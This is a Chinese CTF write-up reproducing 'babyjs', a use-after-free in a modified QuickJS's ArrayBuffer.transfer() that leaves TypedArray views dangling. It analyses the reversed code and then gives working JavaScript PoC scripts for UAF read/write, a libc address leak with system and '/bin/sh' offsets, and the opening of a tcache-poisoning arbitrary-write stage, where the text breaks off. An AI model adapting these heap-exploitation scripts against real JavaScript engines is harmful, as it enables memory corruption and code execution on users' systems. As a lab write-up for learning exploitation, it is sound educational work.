一道JS引擎题目复现babyjs
前言
最近在做CTF题目时遇到了一道有趣的JavaScript引擎pwn题------基于修改版QuickJS的ArrayBuffer.transfer()实现缺陷。这个漏洞的成因非常经典:在对象状态转换时只更新了部分相关数据结构,导致产生Use-After-Free。整个利用链从地址泄露到tcache投毒再到控制流劫持,是一次完整的堆利用实践。
题目的neta很有意思:"经验表明,一个足够坚定的人使用poc撰写exp基本总能成功",改编自"经验表明,一个足够坚定的人使用近战武器攻击坦克基本总能成功"。确实,有了PoC之后,剩下的就是堆布局的调试和利用链的构造了。
漏洞信息
题目名称 : babyjs 漏洞类型 : Use-After-Free (UAF) 影响版本 : 修改版QuickJS(基于某个官方版本) 影响函数 : js_array_buffer_transfer (地址 0xa6450) 漏洞成因: transfer()操作后只更新了ArrayBuffer对象的detached标志,但没有同步更新相关的TypedArray视图
相关背景知识
JavaScript中的ArrayBuffer与TypedArray
在深入漏洞分析之前,我们需要理解JavaScript中ArrayBuffer和TypedArray的工作机制。
ArrayBuffer是JavaScript提供的一种表示固定长度原始二进制数据缓冲区的对象。它本身不能直接读写,需要通过视图(View)来操作:
javascript
// 创建一个256字节的ArrayBuffer
const buffer = new ArrayBuffer(256);
// 创建不同类型的视图来访问同一块内存
const uint32View = new Uint32Array(buffer); // 以32位无符号整数方式访问
const uint8View = new Uint8Array(buffer); // 以8位无符号整数方式访问
const float64View = new Float64Array(buffer); // 以64位浮点数方式访问
// 这些视图都指向同一块底层内存
uint32View[0] = 0x12345678;
console.log(uint8View[0]); // 0x78 (小端序)
TypedArray 是一组用于访问ArrayBuffer的类型化数组视图,包括Int8Array, Uint32Array, Float64Array等。每个TypedArray实例都维护着指向底层ArrayBuffer的引用以及自己的偏移量和长度。
ArrayBuffer的Detached状态
当ArrayBuffer被"分离"(detached)后,它的底层数据缓冲区会被释放或转移,此时:
- ArrayBuffer的
byteLength属性变为0 - 任何尝试通过TypedArray访问该ArrayBuffer的操作都应该抛出TypeError异常
- 相关的TypedArray视图也应该失效
常见导致ArrayBuffer detached的操作:
ArrayBuffer.transfer()- 将数据转移到新的ArrayBufferpostMessage()- 通过结构化克隆转移所有权- 手动调用引擎内部的detach API
ArrayBuffer.transfer()方法
ArrayBuffer.prototype.transfer()是一个相对较新的API(ES2024提案),用于创建一个新的ArrayBuffer并将原ArrayBuffer的内容转移过去:
javascript
const buffer1 = new ArrayBuffer(8);
const view1 = new Uint8Array(buffer1);
view1[0] = 42;
// 转移数据到新buffer,可以指定新的大小
const buffer2 = buffer1.transfer(16);
const view2 = new Uint8Array(buffer2);
console.log(view2[0]); // 42 - 数据被保留
console.log(buffer1.byteLength); // 0 - 原buffer已detached
console.log(view1.byteLength); // 0 - 原view也应该失效
// 尝试访问原view应该抛出异常
try {
console.log(view1[0]); // 应该抛出TypeError
} catch (e) {
console.log("Expected error:", e.message);
}
QuickJS中的关键数据结构
QuickJS引擎中,ArrayBuffer和TypedArray的实现涉及以下关键结构:
JSArrayBuffer结构体
c
typedef struct JSArrayBuffer {
int byte_length; // offset +0: 缓冲区字节长度,detached时为0
int max_byte_length; // offset +4: 可调整大小缓冲区的最大长度
uint8_t detached; // offset +8: detached标志,1表示已分离
uint8_t shared; // offset +9: shared标志,1表示SharedArrayBuffer
uint8_t *data; // offset +16: 指向实际数据的指针,detached时为NULL
struct list_head array_list; // offset +24: 关联的TypedArray视图链表
void *opaque; // offset +40: 不透明指针,传递给free_func
JSFreeArrayBufferDataFunc *free_func; // offset +48: 释放数据的函数指针
} JSArrayBuffer;
这个结构体的设计很清晰:
byte_length和data存储实际的缓冲区信息detached标志表示当前状态array_list是一个双向链表头,连接所有基于此ArrayBuffer创建的TypedArray视图free_func是一个函数指针,用于释放data指向的内存
JSTypedArray结构体
c
typedef struct JSTypedArray {
struct list_head link; // offset +0: 链接到arraybuffer的array_list
JSObject *obj; // offset +16: 指向TypedArray对象本身的指针
JSObject *buffer; // offset +24: 指向基础ArrayBuffer对象的指针
uint32_t offset; // offset +32: 在ArrayBuffer中的字节偏移
uint32_t length; // offset +36: TypedArray的长度(元素个数)
} JSTypedArray;
TypedArray结构通过link字段串联在ArrayBuffer的array_list链表上。这样设计的目的是:当ArrayBuffer状态变化时(如resize或detach),可以遍历所有相关的TypedArray视图并同步更新它们的状态。
内存布局示意
makefile
ArrayBuffer对象内存布局:
+0x00: byte_length (4 bytes)
+0x04: max_byte_length (4 bytes)
+0x08: detached (1 byte)
+0x09: shared (1 byte)
+0x10: data指针 (8 bytes)
+0x18: array_list.next (8 bytes) ← 链表头
+0x20: array_list.prev (8 bytes)
+0x28: opaque (8 bytes)
+0x30: free_func (8 bytes)
TypedArray对象内存布局:
+0x00: link.next (8 bytes) ← 连接到ArrayBuffer的array_list
+0x08: link.prev (8 bytes)
+0x10: obj指针 (8 bytes)
+0x18: buffer指针 (8 bytes)
+0x20: offset (4 bytes)
+0x24: length (4 bytes)
当一个TypedArray被创建时,它会被添加到对应ArrayBuffer的array_list链表中。这个链表关系是整个漏洞的关键所在。
漏洞分析
完整源码分析
通过IDA逆向,我们得到了js_array_buffer_transfer函数的完整实现。让我们逐段分析:
c
JSValue __fastcall js_array_buffer_transfer(
JSContext *ctx,
JSValue this_val,
int argc,
JSValue *argv,
int transfer_to_fixed_length)
{
int64_t tag;
JSArrayBuffer *v13;
uint64_t new_len;
uint64_t max_len[9];
tag = this_val.tag;
// 1. 获取ArrayBuffer对象指针
v13 = (JSArrayBuffer *)JS_GetOpaque2(ctx, this_val, 0x13u);
if (!v13)
goto ERROR_RETURN;
// 2. 检查是否为SharedArrayBuffer(不支持transfer)
if (v13->shared)
return JS_ThrowTypeError(ctx, "cannot transfer a SharedArrayBuffer");
函数开始时进行基本的参数检查。注意0x13u是JS_CLASS_ARRAY_BUFFER的类ID。
c
// 3. 解析新的长度参数
if (argc > 0 && LODWORD(argv->tag) != 3) {
if (JS_ToIndex(ctx, &new_len, *argv))
goto ERROR_RETURN;
} else {
new_len = v13->byte_length; // 默认使用原长度
}
// 4. 检查原ArrayBuffer是否已经detached
if (v13->detached)
return JS_ThrowTypeError(ctx, "ArrayBuffer is detached");
这里处理了transfer()的可选参数------新ArrayBuffer的大小。如果不指定,默认使用原大小。
c
// 5. 处理可调整大小的ArrayBuffer
if (!transfer_to_fixed_length) {
max_byte_length = v13->max_byte_length;
if ((max_byte_length & 0x80000000) == 0) {
max_len[0] = v13->max_byte_length;
if (max_byte_length < new_len)
return JS_ThrowTypeError(ctx, "invalid array buffer length");
if (v13->free_func == js_array_buffer_free)
v16 = max_len;
}
}
这部分处理可调整大小(resizable)ArrayBuffer的情况,检查新长度是否超过maxByteLength。
关键漏洞代码
接下来是核心的数据转移逻辑,也是漏洞所在:
c
// 6. 如果新长度不为0,需要复制或重分配数据
if (new_len) {
data = v13->data;
free_func = v13->free_func;
byte_length = v13->byte_length;
// 情况1: 长度不变,直接使用原数据
if (byte_length == new_len) {
v23 = v13->data;
goto DETACH_AND_RETURN;
}
// 情况2: 长度改变,需要realloc或memcpy
if (new_len <= 0x7FFFFFFF) {
// 如果使用默认的free函数,尝试realloc
if (free_func == js_array_buffer_free) {
v26 = (uint8_t *)js_realloc(ctx, v13->data, new_len);
v23 = v26;
if (v26) {
// 如果扩大了,需要将新增部分清零
if (v13->byte_length < new_len) {
memset(&v26[v13->byte_length], 0,
new_len - v13->byte_length);
}
goto DETACH_AND_RETURN;
}
} else {
// 如果使用自定义free函数,需要重新分配并复制
v21 = (uint8_t *)js_mallocz_rt(ctx->rt, new_len);
if (v21) {
int copy_size = (byte_length <= new_len) ?
byte_length : new_len;
memcpy(v21, data, copy_size);
v13->free_func(ctx->rt, v13->opaque, data);
v23 = v21;
free_func = js_array_buffer_free;
goto DETACH_AND_RETURN;
}
}
goto ERROR_RETURN;
}
return JS_ThrowRangeError(ctx, "invalid array buffer length");
DETACH_AND_RETURN:
// ⚠️⚠️⚠️ 漏洞核心:只标记ArrayBuffer为detached ⚠️⚠️⚠️
v13->detached = 1; // 设置detached标志
v13->data = 0; // 清空data指针
v13->byte_length = 0; // 清空byte_length
// ❌ 关键问题:没有遍历array_list更新TypedArray视图!
// ❌ 没有调用任何函数来同步视图状态!
// 创建并返回新的ArrayBuffer
return js_array_buffer_constructor3(
ctx, (JSValue)__PAIR128__(3, 0),
new_len, v16, 0x13u, v23, free_func, 0, 0);
}
这就是漏洞的本质 :在DETACH_AND_RETURN标签处,代码只做了三件事:
- 设置
v13->detached = 1 - 清空
v13->data = 0 - 清空
v13->byte_length = 0
但是,完全没有处理v13->array_list中链接的所有TypedArray视图!这导致:
- ArrayBuffer对象自己知道已经detached了
- 但是所有基于它创建的TypedArray视图还保留着旧的
length和data指针 - 这些TypedArray的内部状态指向的是已经被转移的内存区域
c
} else {
// 7. 如果新长度为0,调用JS_DetachArrayBuffer正确处理
JS_DetachArrayBuffer(ctx,
(JSValue)__PAIR128__(tag, (unsigned __int64)this_val.u.ptr));
return js_array_buffer_constructor3(
ctx, (JSValue)__PAIR128__(3, 0),
0, v16, 0x13u, 0, js_array_buffer_free, 0, 1);
}
有意思的是,当new_len == 0时,代码正确地调用了JS_DetachArrayBuffer!这说明开发者知道存在这个函数,却在主要路径上没有使用它。
正确实现:JS_DetachArrayBuffer分析
让我们看看正确的detach实现是什么样的:
c
void JS_DetachArrayBuffer(JSContext *ctx, JSValue obj)
{
JSArrayBuffer *abuf = JS_GetOpaque(obj, JS_CLASS_ARRAY_BUFFER);
if (!abuf || abuf->detached)
return;
// ✅ 关键步骤:遍历array_list中的所有TypedArray视图
struct list_head *el, *el1;
list_for_each_safe(el, el1, &abuf->array_list) {
JSTypedArray *ta = list_entry(el, JSTypedArray, link);
JSObject *view = ta->obj;
// ✅ 更新每个视图的状态
if (view->class_id != JS_CLASS_DATAVIEW) {
// 对于TypedArray,清空length和data指针
view->u.typed_array.length = 0;
view->u.typed_array.data = NULL;
}
// DataView的处理略有不同,但也会失效
}
// ✅ 所有视图都更新完毕后,才标记ArrayBuffer为detached
abuf->detached = 1;
abuf->data = NULL;
abuf->byte_length = 0;
}
对比两者的区别:
| 操作 | js_array_buffer_transfer | JS_DetachArrayBuffer |
|---|---|---|
| 设置detached标志 | ✅ | ✅ |
| 清空data指针 | ✅ | ✅ |
| 清空byte_length | ✅ | ✅ |
| 遍历array_list | ❌ 缺失 | ✅ |
| 更新TypedArray.length | ❌ 缺失 | ✅ |
| 更新TypedArray.data | ❌ 缺失 | ✅ |
漏洞触发流程对比
正常的ArrayBuffer.resize()流程(参考对比):
makefile
用户调用: buffer.resize(newSize)
↓
进入: js_array_buffer_resize (地址 0x4b370)
↓
分配/调整内存
↓
遍历 array_list 链表 (行 52-81)
↓
更新每个 TypedArray 的:
- length 字段
- data 指针
- 其他相关状态
↓
✅ 所有视图状态与ArrayBuffer保持同步
存在漏洞的ArrayBuffer.transfer()流程:
ini
用户调用: buffer.transfer(newSize)
↓
进入: js_array_buffer_transfer (地址 0xa6450)
↓
复制/转移数据到新内存
↓
标记原ArrayBuffer:
- detached = 1
- data = NULL
- byte_length = 0
↓
❌ 跳过遍历 array_list 的步骤
↓
创建新ArrayBuffer并返回
↓
❌ 旧的TypedArray视图仍然保留:
- 非零的 length
- 指向已转移内存的 data 指针
↓
💣 Use-After-Free 漏洞!
汇编层面的验证
在IDA中查看关键代码段(地址 0xa659b - 0xa65d5):
asm
; 设置detached状态
loc_A659B:
mov byte ptr [r8+8], 1 ; v13->detached = 1
mov qword ptr [r8+10h], 0 ; v13->data = NULL
mov dword ptr [r8], 0 ; v13->byte_length = 0
; 准备调用js_array_buffer_constructor3创建新buffer
mov rdi, r12 ; ctx
mov esi, 3 ; tag
xor edx, edx ; ptr = NULL
mov rcx, r13 ; new_len
mov r8, r14 ; max_len
mov r9d, 13h ; class_id
mov [rsp+90h+var_70], rbx ; data
mov [rsp+90h+var_68], rbp ; free_func
mov [rsp+90h+var_60], 0 ; opaque
mov [rsp+90h+var_58], 0 ; shared
call js_array_buffer_constructor3
; ↑ 注意:从设置detached到这里,没有任何对array_list的操作!
jmp loc_A66AD ; 返回
可以清楚地看到,在标记detached和创建新buffer之间,没有任何循环或函数调用来处理array_list。这段汇编代码直接印证了我们从伪代码中看到的问题。
内存状态图解
让我们用图示来理解漏洞前后的内存状态变化:
调用transfer()之前:
yaml
堆内存:
┌──────────────────┐ 0x555556789000
│ 实际数据区域 │
│ [0xAAAA0000] │
│ [0xAAAA0001] │
│ [0xAAAA0002] │
│ ... │
└──────────────────┘
ArrayBuffer对象 (ab1):
┌──────────────────┐
│ byte_length: │ = 0x100
│ detached: │ = 0 (false)
│ data: ───────────┼─→ 0x555556789000
│ array_list: ─────┼─→ [TypedArray链表]
│ next: ─────────┼──┐
│ prev: ─────────┼──┤
│ free_func: │ │
└──────────────────┘ │
│
TypedArray对象 (ta1): │
┌──────────────────┐ │
│ link: ───────────┼──┘ (连接到ab1的array_list)
│ obj: │
│ buffer: ─────────┼─→ ab1
│ offset: │ = 0
│ length: │ = 64 (0x100/4)
└──────────────────┘
↓
JSObject (实际的Uint32Array):
┌──────────────────┐
│ class_id: ───────┼─→ JS_CLASS_UINT32_ARRAY
│ u.typed_array: │
│ length: ───────┼─→ 64
│ data: ─────────┼─→ 0x555556789000
└──────────────────┘
调用ab1.transfer()之后:
yaml
堆内存:
┌──────────────────┐ 0x555556ABC000 (新分配)
│ 转移后的数据 │
│ [0xAAAA0000] │
│ [0xAAAA0001] │
│ [0xAAAA0002] │
│ ... │
└──────────────────┘
┌──────────────────┐ 0x555556789000 (旧地址)
│ 可能被重用的 │ ← ⚠️ 悬空指针指向这里!
│ 内存区域 │ 可能包含:
│ [tcache fd] │ - tcache链表指针
│ [heap metadata] │ - 其他对象数据
│ ... │ - libc指针
└──────────────────┘
原ArrayBuffer对象 (ab1):
┌──────────────────┐
│ byte_length: │ = 0 ✅
│ detached: │ = 1 ✅
│ data: │ = NULL ✅
│ array_list: ─────┼─→ [链表仍然存在]
│ next: ─────────┼──┐
│ prev: ─────────┼──┤
└──────────────────┘ │
│
原TypedArray对象 (ta1): │
┌──────────────────┐ │
│ link: ───────────┼──┘ (仍然连接)
│ obj: │
│ buffer: ─────────┼─→ ab1 (已detached)
│ offset: │ = 0 ❌ 未清零
│ length: │ = 64 ❌ 未清零!
└──────────────────┘
↓
JSObject (ta1对应的Uint32Array):
┌──────────────────┐
│ class_id: ───────┼─→ JS_CLASS_UINT32_ARRAY
│ u.typed_array: │
│ length: ───────┼─→ 64 ❌ 应该是0!
│ data: ─────────┼─→ 0x555556789000 ❌ 应该是NULL!
└──────────────────┘ │
│
└→ 💣 悬空指针!指向已释放/转移的内存
新ArrayBuffer对象 (ab2):
┌──────────────────┐
│ byte_length: │ = 0x100
│ detached: │ = 0
│ data: ───────────┼─→ 0x555556ABC000 (新地址)
│ array_list: ─────┼─→ [空链表或新视图]
└──────────────────┘
新TypedArray对象 (ta2):
┌──────────────────┐
│ buffer: ─────────┼─→ ab2
│ offset: │ = 0
│ length: │ = 64
└──────────────────┘
↓
JSObject:
┌──────────────────┐
│ u.typed_array: │
│ length: ───────┼─→ 64
│ data: ─────────┼─→ 0x555556ABC000 ✅ 正确
└──────────────────┘
关键观察:
- ab1被正确标记为detached(detached=1, data=NULL, byte_length=0)
- ta1的TypedArray结构体没有更新(length仍为64)
- ta1对应的JSObject.u.typed_array也没有更新(data指针仍指向0x555556789000)
- 结果:通过ta1访问数组时,QuickJS不会检查底层ArrayBuffer是否detached,直接使用JSObject中保存的data指针和length,导致访问已释放/转移的内存
UAF的具体表现
这个UAF有以下特点:
- 读原语:可以通过旧TypedArray读取已转移内存区域的数据
javascript
const value = ta1[0]; // 读取0x555556789000位置的数据
- 写原语:可以通过旧TypedArray写入已转移内存区域
javascript
ta1[0] = 0xDEADBEEF; // 写入0x555556789000位置
- 数据重叠:如果旧内存区域被新分配的ArrayBuffer复用,会造成数据损坏
javascript
ta1[0] = 0x12345678; // 写入旧地址
console.log(ta2[0]); // 如果内存重叠,可能读到0x12345678
漏洞验证实验
理论分析完毕,让我们通过实际代码来验证漏洞的存在。
实验1:基础UAF验证
首先编写最简单的PoC来确认漏洞触发:
javascript
// simple_uaf_verify.js - 验证UAF漏洞存在
console.log("=".repeat(70));
console.log("[*] QuickJS ArrayBuffer.transfer() UAF Vulnerability Verification");
console.log("=".repeat(70));
console.log();
// 阶段1:创建测试对象
console.log("[Phase 1] Creating ArrayBuffer and TypedArray...");
const ab1 = new ArrayBuffer(0x100);
const ta1 = new Uint32Array(ab1);
console.log(" [+] ArrayBuffer created: size = 0x100 bytes");
console.log(" [+] TypedArray created: length =", ta1.length);
console.log(" [+] TypedArray byteLength =", ta1.byteLength);
console.log();
// 阶段2:填充可识别的测试数据
console.log("[Phase 2] Filling with test pattern...");
for (let i = 0; i < ta1.length; i++) {
ta1[i] = 0xAAAA0000 + i;
}
console.log(" [+] Pattern: 0xAAAA0000, 0xAAAA0001, 0xAAAA0002, ...");
console.log(" [+] ta1[0] =", "0x" + ta1[0].toString(16).padStart(8, "0"));
console.log(" [+] ta1[1] =", "0x" + ta1[1].toString(16).padStart(8, "0"));
console.log(" [+] ta1[2] =", "0x" + ta1[2].toString(16).padStart(8, "0"));
console.log();
// 阶段3:触发漏洞
console.log("[Phase 3] Triggering vulnerability via transfer()...");
console.log(" [*] Calling ab1.transfer()...");
const ab2 = ab1.transfer();
const ta2 = new Uint32Array(ab2);
console.log(" [+] Transfer completed");
console.log(" [+] ab1 should be detached now");
console.log(" [+] ab1.byteLength =", ab1.byteLength, "(should be 0)");
console.log(" [+] ta2 is the new TypedArray pointing to transferred data");
console.log();
// 阶段4:检测UAF - 读取
console.log("[Phase 4] Testing UAF: Reading from detached TypedArray...");
console.log(" [*] Attempting to read ta1[0] (should fail but won't)...");
console.log();
try {
const oldValue = ta1[0];
console.log("\x1b[1;31m" + "=".repeat(70));
console.log(" [!!! UAF VULNERABILITY CONFIRMED !!!]");
console.log("=".repeat(70) + "\x1b[0m");
console.log();
console.log(" ❌ Expected behavior: TypeError (ArrayBuffer is detached)");
console.log(" ✓ Actual behavior: Successfully read value = 0x" +
oldValue.toString(16).padStart(8, "0"));
console.log();
console.log(" Analysis:");
console.log(" - ArrayBuffer ab1 is marked as detached");
console.log(" - But TypedArray ta1 still has valid length and data pointer");
console.log(" - Can access memory that should be inaccessible");
console.log();
// 阶段5:检测UAF - 写入
console.log("[Phase 5] Testing UAF: Writing through detached TypedArray...");
console.log(" [*] Attempting to write ta1[0] = 0xDEADBEEF...");
ta1[0] = 0xDEADBEEF;
console.log(" ✓ Write operation succeeded (should have failed)");
console.log();
// 阶段6:检查内存损坏
console.log("[Phase 6] Checking for memory corruption...");
console.log(" [*] Reading ta2[0] to see if new buffer was affected...");
const newValue = ta2[0];
console.log(" [+] ta2[0] = 0x" + newValue.toString(16).padStart(8, "0"));
console.log();
if (newValue === 0xDEADBEEF) {
console.log("\x1b[1;31m [!! CRITICAL !!] Memory corruption detected!");
console.log(" Write through ta1 affected ta2's data!");
console.log(" This indicates the buffers share or overlap memory.\x1b[0m");
} else if (newValue === 0xAAAA0000) {
console.log("\x1b[1;33m [!] Data preserved in new buffer");
console.log(" Write through ta1 affected old memory location");
console.log(" Old memory might be reused by other objects\x1b[0m");
}
console.log();
// 阶段7:多次读写测试
console.log("[Phase 7] Extended UAF test - multiple operations...");
for (let i = 0; i < 5; i++) {
ta1[i] = 0xBAAD0000 + i;
}
console.log(" [+] Wrote pattern 0xBAAD0000-0xBAAD0004 through ta1");
console.log(" [+] Reading back through ta1:");
for (let i = 0; i < 5; i++) {
console.log(" ta1[" + i + "] = 0x" +
ta1[i].toString(16).padStart(8, "0"));
}
console.log();
console.log(" [+] Checking ta2 for corruption:");
for (let i = 0; i < 5; i++) {
console.log(" ta2[" + i + "] = 0x" +
ta2[i].toString(16).padStart(8, "0"));
}
console.log();
// 总结
console.log("=".repeat(70));
console.log("[Summary] UAF Vulnerability Characteristics:");
console.log("=".repeat(70));
console.log(" 1. TypedArray retains data pointer after ArrayBuffer.transfer()");
console.log(" 2. Can read from freed/transferred memory");
console.log(" 3. Can write to freed/transferred memory");
console.log(" 4. May corrupt new ArrayBuffer if memory is reused");
console.log(" 5. No bounds checking on detached buffer");
console.log();
console.log("\x1b[1;32m[✓] Vulnerability successfully reproduced!\x1b[0m");
console.log();
} catch (e) {
console.log("\x1b[1;32m" + "=".repeat(70));
console.log(" [✓] NO UAF DETECTED (Expected secure behavior)");
console.log("=".repeat(70) + "\x1b[0m");
console.log();
console.log(" Error message:", e.message);
console.log(" TypedArray correctly detached and access denied");
console.log();
}
console.log("=".repeat(70));
console.log("[*] Verification complete");
console.log("=".repeat(70));
预期输出(漏洞版本):
ini
======================================================================
[*] QuickJS ArrayBuffer.transfer() UAF Vulnerability Verification
======================================================================
[Phase 1] Creating ArrayBuffer and TypedArray...
[+] ArrayBuffer created: size = 0x100 bytes
[+] TypedArray created: length = 64
[+] TypedArray byteLength = 256
[Phase 2] Filling with test pattern...
[+] Pattern: 0xAAAA0000, 0xAAAA0001, 0xAAAA0002, ...
[+] ta1[0] = 0xaaaa0000
[+] ta1[1] = 0xaaaa0001
[+] ta1[2] = 0xaaaa0002
[Phase 3] Triggering vulnerability via transfer()...
[*] Calling ab1.transfer()...
[+] Transfer completed
[+] ab1 should be detached now
[+] ab1.byteLength = 0 (should be 0)
[+] ta2 is the new TypedArray pointing to transferred data
[Phase 4] Testing UAF: Reading from detached TypedArray...
[*] Attempting to read ta1[0] (should fail but won't)...
======================================================================
[!!! UAF VULNERABILITY CONFIRMED !!!]
======================================================================
❌ Expected behavior: TypeError (ArrayBuffer is detached)
✓ Actual behavior: Successfully read value = 0xaaaa0000
Analysis:
- ArrayBuffer ab1 is marked as detached
- But TypedArray ta1 still has valid length and data pointer
- Can access memory that should be inaccessible
[Phase 5] Testing UAF: Writing through detached TypedArray...
[*] Attempting to write ta1[0] = 0xDEADBEEF...
✓ Write operation succeeded (should have failed)
[Phase 6] Checking for memory corruption...
[*] Reading ta2[0] to see if new buffer was affected...
[+] ta2[0] = 0xdeadbeef
[!! CRITICAL !!] Memory corruption detected!
Write through ta1 affected ta2's data!
This indicates the buffers share or overlap memory.
[Summary] UAF Vulnerability Characteristics:
1. TypedArray retains data pointer after ArrayBuffer.transfer()
2. Can read from freed/transferred memory
3. Can write to freed/transferred memory
4. May corrupt new ArrayBuffer if memory is reused
5. No bounds checking on detached buffer
[✓] Vulnerability successfully reproduced!
实验2:任意地址读取验证
利用UAF,我们可以读取堆上残留的指针,从而泄露libc和堆地址:
javascript
// arbitrary_read_verify.js - 验证任意读能力
function tohex(v) {
return "0x" + v.toString(16).padStart(16, "0");
}
console.log("=".repeat(70));
console.log("[*] Arbitrary Read Capability Verification");
console.log("=".repeat(70));
console.log();
// 步骤1:堆风水 - 创建大块触发unsorted bin
console.log("[Step 1] Heap grooming - creating large chunks...");
console.log(" [*] Purpose: Populate unsorted bin to get libc pointers");
console.log();
const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);
console.log(" [+] Created tmp1: 0x800 bytes");
console.log(" [+] Created tmp5: 0x800 bytes");
console.log(" [+] These will be used to stabilize heap layout");
console.log();
// 步骤2:创建目标ArrayBuffer
console.log("[Step 2] Creating target ArrayBuffer for leak...");
const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);
console.log(" [+] Created ab1: 0x800 bytes");
console.log(" [+] Created ta1: BigUint64Array view");
console.log(" [+] ta1.length = " + ta1.length + " (64-bit elements)");
console.log();
// 步骤3:创建小块用于堆布局
console.log("[Step 3] Creating small buffers for heap layout...");
const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);
console.log(" [+] Created 3 small buffers (0x10 bytes each)");
console.log(" [+] These help control heap chunk placement");
console.log();
// 步骤4:触发UAF
console.log("[Step 4] Triggering UAF via transfer()...");
let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);
console.log(" [+] Called ab1.transfer()");
console.log(" [+] Created new TypedArray ta1_f on transferred buffer");
console.log();
// 步骤5:释放新buffer,让内存进入bins
console.log("[Step 5] Freeing new buffer to populate bins...");
ab1_f = null;
ta1_f = null;
console.log(" [+] Set ab1_f = null");
console.log(" [+] Set ta1_f = null");
console.log(" [+] Chunk will enter unsorted bin or tcache");
console.log(" [+] Bin metadata will contain libc pointers");
console.log();
// 步骤6:通过UAF读取泄露的指针
console.log("[Step 6] Reading leaked pointers via UAF...");
console.log(" [*] Using ta1 (which still has dangling pointer)...");
console.log();
try {
const leaked_value = ta1[0];
console.log("\x1b[1;32m [✓] Successfully read via dangling pointer!\x1b[0m");
console.log(" [+] Raw leaked value: " + tohex(leaked_value));
console.log();
// 步骤7:分析泄露的数据
console.log("[Step 7] Analyzing leaked data...");
// 检查是否为libc指针(高位应该是0x7f)
const addr_str = leaked_value.toString(16);
const is_userspace = addr_str.length >= 12 && addr_str.startsWith("7f");
if (is_userspace) {
console.log(" [+] Leaked value appears to be a libc pointer!");
console.log(" - High byte: 0x7f (userspace high address)");
console.log(" - Length: " + addr_str.length + " hex digits");
console.log();
// 计算libc基址(偏移需要根据实际libc版本调整)
// 这里假设泄露的是main_arena+96的地址
const libc_leak = leaked_value;
const libc_offset = 0x203b20n; // 根据实际环境调整
const libc_base = libc_leak - libc_offset;
console.log("[Step 8] Calculating addresses...");
console.log(" [+] Leaked pointer: " + tohex(libc_leak));
console.log(" [+] Assumed offset: " + tohex(libc_offset));
console.log(" [+] Calculated libc base: " + tohex(libc_base));
console.log();
// 验证地址合理性
const base_str = libc_base.toString(16);
if (base_str.length === 12 && base_str.endsWith("000")) {
console.log(" \x1b[1;32m[✓] Libc base looks valid (aligned to page)\x1b[0m");
} else {
console.log(" \x1b[1;33m[⚠] Libc base may be incorrect\x1b[0m");
console.log(" Offset 0x203b20 might not match your libc version");
}
console.log();
// 计算常用函数地址
console.log("[Step 9] Computing useful addresses...");
const system_offset = 0x58750n;
const free_hook_offset = 0x203b20n;
const str_offset = 0x1b45bd;
console.log(" [+] system@libc: " + tohex(libc_base + system_offset));
console.log(" [+] __free_hook: " + tohex(libc_base + free_hook_offset));
console.log(" [+] \"/bin/sh\" string: " + tohex(libc_base + BigInt(str_offset)));
console.log();
} else if (leaked_value < 0x1000000n) {
console.log(" [+] Leaked value appears to be a small integer");
console.log(" - Might be heap metadata or size field");
console.log();
} else {
console.log(" [+] Leaked value appears to be a heap pointer");
console.log(" - Could be used to calculate heap base");
console.log();
}
// 步骤10:读取更多数据
console.log("[Step 10] Reading additional memory content...");
console.log(" [+] Dumping first 16 qwords via UAF:");
console.log();
for (let i = 0; i < 16; i++) {
try {
const val = ta1[i];
const hex_val = tohex(val);
const offset = "+" + (i * 8).toString(16).padStart(3, "0");
// 分析每个值的可能含义
let annotation = "";
const val_str = val.toString(16);
if (val_str.startsWith("7f") && val_str.length >= 12) {
annotation = " <- possible libc pointer";
} else if (val === 0n) {
annotation = " <- NULL";
} else if (val < 0x1000n) {
annotation = " <- small value (size/flag?)";
} else if (val_str.length >= 12) {
annotation = " <- possible heap pointer";
}
console.log(" [" + offset + "] " + hex_val + annotation);
} catch (e) {
console.log(" [" + offset + "] <read failed>");
}
}
console.log();
// 总结
console.log("=".repeat(70));
console.log("[Summary] Arbitrary Read Capability:");
console.log("=".repeat(70));
console.log(" ✓ Can read freed memory via dangling TypedArray pointer");
console.log(" ✓ Successfully leaked heap metadata/pointers");
console.log(" ✓ Can potentially leak libc addresses");
console.log(" ✓ Can dump arbitrary memory regions");
console.log();
console.log("\x1b[1;32m[+] Arbitrary read primitive confirmed!\x1b[0m");
console.log();
} catch (e) {
console.log("\x1b[1;31m [✗] Read failed (no UAF):\x1b[0m " + e.message);
console.log();
}
console.log("=".repeat(70));
关键技术点:
- Unsorted Bin技巧:创建大块ArrayBuffer(0x800字节)并释放,会进入unsorted bin,其fd/bk指针指向libc中的main_arena
- UAF读取:通过悬空的TypedArray指针读取已释放chunk的内容,获取libc指针
- 地址计算:根据已知偏移量计算libc基址和各种有用函数的地址
实验3:任意地址写入验证
结合tcache投毒技术,我们可以实现任意地址写入:
javascript
// arbitrary_write_verify.js - 验证任意写能力
function tohex(v) {
return "0x" + v.toString(16).padStart(16, "0");
}
console.log("=".repeat(70));
console.log("[*] Arbitrary Write Capability Verification");
console.log("[*] Technique: Tcache Poisoning");
console.log("=".repeat(70));
console.log();
// ================ 阶段1: 地址泄露 ================
console.log("[Phase 1] Address leaking...");
console.log();
// 复用前面的泄露技术
const tmp1 = new ArrayBuffer(0x800);
const tmp5 = new ArrayBuffer(0x800);
const ab1 = new ArrayBuffer(0x800);
const ta1 = new BigUint64Array(ab1);
const tmp2 = new ArrayBuffer(0x10);
const tmp3 = new ArrayBuffer(0x10);
const tmp4 = new ArrayBuffer(0x10);
let ab1_f = ab1.transfer();
let ta1_f = new BigUint64Array(ab1_f);
ab1_f = null;
ta1_f = null;
const libc_leak = ta1[0];
const libc_base = libc_leak - 0x203b20n;
console.log(" [+] Libc base leaked: " + tohex(libc_base));
console.log();
// ================ 阶段2: 堆地址泄露 ================
console.log("[Phase 2] Heap address leaking via tcache...");
console.log();
// 创建合适大小的chunk进入tcache
const ab2 = new ArrayBuffer(0xa0);
const ta2 = new BigUint64Array(ab2);
console.log(" [+] Created ArrayBuffer of size 0xa0");
console.log(" [+] This size will use tcache bin");
console.log();
let ab2_f = ab2.transfer();
let ta2_f = new BigUint64Array(ab2_f);
ab2_f = null;
ta2_f = null;
console.log(" [+] Freed the chunk via transfer()");
console.log(" [+] Chunk entered tcache bin");
console.log();
